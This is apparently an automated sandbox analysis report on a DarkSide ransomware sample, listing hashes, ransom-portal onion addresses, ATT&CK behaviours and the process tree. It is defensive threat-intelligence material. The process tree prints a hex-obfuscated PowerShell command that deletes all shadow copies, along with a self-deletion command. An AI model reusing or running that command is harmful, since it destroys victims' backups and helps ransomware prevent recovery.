Analysis
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max time kernel
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max time network
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platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
06-08-2024 10:27
Static task
static1
Behavioral task
behavioral1
Sample
Darkside.exe
Resource
win11-20240802-en
General
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Target
Darkside.exe
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Size
59KB
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MD5
cfcfb68901ffe513e9f0d76b17d02f96
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SHA1
766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
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SHA256
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
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SHA512
0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
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SSDEEP
768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5
Malware Config
Extracted
C:\Users\Admin\README.80caa7ac.TXT
darkside
http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF
http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Renames multiple (134) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\80caa7ac.BMP" Darkside.exe Set value (str) \REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\80caa7ac.BMP" Darkside.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Darkside.exepid process 2432 Darkside.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
Darkside.execmd.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Darkside.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Modifies Control Panel 1 IoCs
Processes:
Darkside.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\Control Panel\Desktop\WallpaperStyle = "10" Darkside.exe -
Modifies registry class 6 IoCs
Processes:
Darkside.exeMiniSearchHost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.80caa7ac Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.80caa7ac\ = "80caa7ac" Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac\DefaultIcon Darkside.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac Darkside.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\80caa7ac\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\80caa7ac.ico" Darkside.exe Key created \REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000_Classes\Local Settings\MuiCache MiniSearchHost.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 5556 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeDarkside.exepid process 1932 powershell.exe 1932 powershell.exe 2432 Darkside.exe 2432 Darkside.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
Darkside.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 2432 Darkside.exe Token: SeSecurityPrivilege 2432 Darkside.exe Token: SeTakeOwnershipPrivilege 2432 Darkside.exe Token: SeLoadDriverPrivilege 2432 Darkside.exe Token: SeSystemProfilePrivilege 2432 Darkside.exe Token: SeSystemtimePrivilege 2432 Darkside.exe Token: SeProfSingleProcessPrivilege 2432 Darkside.exe Token: SeIncBasePriorityPrivilege 2432 Darkside.exe Token: SeCreatePagefilePrivilege 2432 Darkside.exe Token: SeBackupPrivilege 2432 Darkside.exe Token: SeRestorePrivilege 2432 Darkside.exe Token: SeShutdownPrivilege 2432 Darkside.exe Token: SeDebugPrivilege 2432 Darkside.exe Token: SeSystemEnvironmentPrivilege 2432 Darkside.exe Token: SeRemoteShutdownPrivilege 2432 Darkside.exe Token: SeUndockPrivilege 2432 Darkside.exe Token: SeManageVolumePrivilege 2432 Darkside.exe Token: 33 2432 Darkside.exe Token: 34 2432 Darkside.exe Token: 35 2432 Darkside.exe Token: 36 2432 Darkside.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeBackupPrivilege 2160 vssvc.exe Token: SeRestorePrivilege 2160 vssvc.exe Token: SeAuditPrivilege 2160 vssvc.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
MiniSearchHost.exepid process 5356 MiniSearchHost.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
Darkside.exedescription pid process target process PID 2432 wrote to memory of 1932 2432 Darkside.exe powershell.exe PID 2432 wrote to memory of 1932 2432 Darkside.exe powershell.exe PID 2432 wrote to memory of 5288 2432 Darkside.exe cmd.exe PID 2432 wrote to memory of 5288 2432 Darkside.exe cmd.exe PID 2432 wrote to memory of 5288 2432 Darkside.exe cmd.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\Darkside.exe"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:5288
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5356
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.80caa7ac.TXT1⤵
- Opens file in notepad (likely ransom note)
PID:5556
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
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Filesize
3KB
MD5aa0a32b11dca7b04f4cc5fe8c55cb357
SHA100e354fd0754a7d721a270cdc08f970b9a3f6605
SHA256e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
SHA5121db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
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Filesize
1KB
MD58f16eb240c6168b41004cca7306484e6
SHA1da34df40f9b1d5b0f9fd49bd1d467879fb40cb06
SHA25648c69824555f42932cc2a1272a03be650dde58a10239ba282e9314ec13ed273a
SHA51296c4a859b024e531124139c28bebd4d6f53de3ae7bc378ea3c7662452525d4020d1a76f851651174418cae620c340e8677516a3a70933b2ff2cce6a71a349063
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C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Filesize10KB
MD5cd6829f53a60318a54648f4ff9d694c2
SHA1eda672c23f219a9cdbe740079412f5fbe04a157d
SHA2565410184dfd5ef071de14c78cc7e9488049a85e313a3454250d53e974251ac906
SHA51225a54ac013419868211b704a9b1f4cbc7c0a5b1a0e10cec09cd8eee3fbde7497e36c8e35f0506622eb9a47939c2c6b9590bf9bbf8d43508be13d7f85f7838ec9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3KB
MD5b58e2411168bbdbec635cf4001635db0
SHA1c130cd9caaaa514a6b98c1168e10d44a989d191a
SHA256652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a
SHA51287e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a